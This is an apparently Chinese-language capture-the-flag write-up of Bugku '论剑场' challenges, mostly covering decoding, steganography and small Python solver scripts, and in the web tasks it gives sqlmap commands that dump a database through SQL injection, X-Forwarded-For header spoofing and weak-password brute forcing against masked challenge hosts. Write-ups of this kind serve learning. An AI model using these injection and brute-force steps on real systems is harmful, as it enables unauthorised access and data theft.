CTF_论剑场_writeup

应平台的要求,所以对题目中的URL都进行了处理,在此也只是记录一个学习的过程。

头像

CTF_论剑场_writeup_第1张图片

用16进制编辑器打开搜索flag就找到了,也算不上坑,就是找到的flag还要经过base64解密后再来进行MD5加密

签到

没什么说的,flag已经给了

0和1的故事

这题目我还是看了Writeup之后才知道的,题目的信息给的很明确,0和1,就是二进制编码,然后说空格和0很配,就是空格代表0了,然后一层一层的打开压缩包后发现一个.txt的文件,全选后发现确实有很多空格,但是到这里我就不明白了!

CTF_论剑场_writeup_第2张图片

看过writeup之后得知用16进制编辑器打开,才明白了

CTF_论剑场_writeup_第3张图片

20是空格表示1,那么09就表示0了,最后转换为16进制字符串就是最后的flag了

web1

分析给的代码就能够得到flag了,很容易,就不多说了

CTF_论剑场_writeup_第4张图片
image

http://***.***.**.**:10001/?a

这个人真的很高

png图片,然后题目的信息也很明确,那么修改高度就能够得到一部分的flag,然后还有一部分用16进制编辑器打开后就在文件的尾部,但这不是最终的flag,当然也很明显,栅栏加密,多试几次就能够看到flag了

web9

题目给出的就是:put me a message bugku then you can get the flag

Firefox改包:


CTF_论剑场_writeup_第5张图片

得到一段base64加密后的flag,解密一下就有了

Snake

反编译一下jar文件,然后在Game这个类中找到了计算flag的方法:

CTF_论剑场_writeup_第6张图片

Python代码:

fake="eobdxpmbhf\\jpgYaiibYagkc{"
flag=""
for i in range(int(len(fake)/2)):
 flag=flag+chr(3^ord(fake[i]))
for f in range(int(len(fake)/2)+1,len(fake)):
 flag=flag+chr(6^ord(fake[f]))
print(flag)

进制转换

明确的说了是进制转换,然后f对应的102,所以用1212一个个试试,返现4进制的时候得到的是102,然后python写个脚本就出来了

s=[1212,1230,1201,1213,1323,1012,1233,1311,1302,1202,1201,1303,1211,301,302,303,1331]
flag=""
for i in s:
  flag+=chr(int(str(i),4))
print(flag)`

流量分析

很简单,直接搜索就出来了:


CTF_论剑场_writeup_第7张图片

web2

CTF_论剑场_writeup_第8张图片

凭手速是不太现实的,看下源码,那就通过Python来解决了:

import re 
import requests
​
s = requests.Session()  
url = '题目的URL'
r = s.get(url)
r.encoding = 'utf-8' 
print(r.text)
num = re.findall(re.compile(r'
\s+(.*?)

'), r.text)[0] print(num) r = s.post(url, data={'result': eval(num)}) print(r.text)

Web 5

题目已经很良心的说了注入,sqlmap来一梭子就完事了!

查看库得到:web5

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" --current-db

查看表得到:flag

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 --table

查看字段得到:flag

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 -T flag --colums

查看flag字段:

python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 -T flag -C flag --dump

CTF_论剑场_writeup_第9张图片

Web 6

CTF_论剑场_writeup_第10张图片
image

随便输入一个用户名,密码后提交,然后就抓包, X-Forwarded-For: 127.0.0.1
CTF_论剑场_writeup_第11张图片
image

那么就尝试用字典开始爆破了,直接百度找了个常见的弱口令:


CTF_论剑场_writeup_第12张图片

用户名一开始就是用的admin,然后直接爆破密码得到是test123,就得到flag了;


Web 11

打开后是:We han't anything!



robots


​
We han't anything!
​


查看robots.txt

User-agent: *
Disallow: /shell.php

查看shell.php

CTF_论剑场_writeup_第13张图片

substr()函数返回字符串的一部分。

import hashlib
s="0e8061"
def count_md5(strings):
    md5=hashlib.md5(strings.encode('utf-8'))
    ret=md5.hexdigest()
    return ret
for i in range(1,1000000):
    key=count_md5(str(i))
    if key[0:6]==s:
        print(str(i))

怀疑人生

有三个文件:一个加密额压缩包两张图片


CTF_论剑场_writeup_第14张图片

第二张图片用binwalk分析了下,得到一个txt的文件里面有这些个东西:

CTF_论剑场_writeup_第15张图片

Brainfuck编码:https://www.splitbrain.org/services/ook

解码得到:3oD54e

然后看看是不是加密的压缩包的密码,试了下发现不是,但这串字符肯定是有用的,这个时候确实开始怀疑人生,也没看到哪里有提示!


看过Writeup后,才真正明白,我是真的不会

第一部分:

第一个压缩包通过爆破得到密码是:pasword

得到一串base64编码后的字符串,解码后得到:\u66\u6c\u61\u67\u7b\u68\u61\u63\u6b\u65\u72

十六进制转字符串得到:flag{hacker

第二部分:

base58解码为字符串得到:misc

第三部分:

扫码得到:

(通过手机还有草料 没有扫出来,这个网站可以:https://online-barcode-reader.inliteresearch.com/
12580}

神奇的字符串

CTF_论剑场_writeup_第16张图片

在这个网站都有的: http://ctf.ssleye.com/

依次通过base64,base91,base58解码后就得到flag了

web13

在数据包的头部发现一个password:


CTF_论剑场_writeup_第17张图片

base64解码之后得到一个flag,但是并不是题目的flag,于是在题目中提交flag中的内容:


CTF_论剑场_writeup_第18张图片

依旧是密码错误,发现刷新后再次查看password的字符串已经是变化的,并不是固定的,不刷新提交后:
CTF_论剑场_writeup_第19张图片

刚开始没有引入会话对象Session,导致一直提交的是错误的,需要保证GET请求和POST请求在同一个会话当中才能够获得最终的flag:

import base64
import requests

def get_flag(url):
    s = requests.Session()
    r = s.get(url)
    text=(r.headers['Password'])
    flag=bytes.decode(base64.b64decode(text.encode('utf-8')))
    flag=flag[5:-1]
    r = s.post(url, data={'password':flag})      
    return r.text

txt500

题目下载下来一共500个txt文件,也没有什么提示,还是套路吧,就是搜索下关键的字符串flag,key等等,但是一共500个文件,不可能一个文件一个文件的去搜索吧!这里可以直接通过UE来搜索多个文件的内容了,或者通过linux,在这里就说下怎么通过UE来搜索的:

CTF_论剑场_writeup_第20张图片
CTF_论剑场_writeup_第21张图片

也可以点击左下的设置按钮匹配正则表达式什么的!最终找到:


CTF_论剑场_writeup_第22张图片

日志审计

还是一样的套路,先搜索一波关键字,在flag里面发现了点东西


CTF_论剑场_writeup_第23张图片
image

于是乎找到了黑客攻击的痕迹


CTF_论剑场_writeup_第24张图片

套路见的多了一眼就能够看出102、108、97、103对应着flag的ASCII编码
解码下就能够得到flag了

向日葵

一张jpg的图片,用010Editor打开,常规的搜索下flag,key等没有发现什么,移到最后发现了Rar的文件头


CTF_论剑场_writeup_第25张图片

修改文件后缀名为.rar打开得到:

CTF_论剑场_writeup_第26张图片

可能是英文字母5*5的排列,先试试
CTF_论剑场_writeup_第27张图片

得到的就是: juijoldugjtfbty,提示最后一步凯撒密码,于是乎凯撒解密看看:
CTF_论剑场_writeup_第28张图片

发现最后这个可能是: ithinkctfiseasx提交不对,改成: ithinkctfiseasy,提交正确!

你可能感兴趣的:(CTF_论剑场_writeup)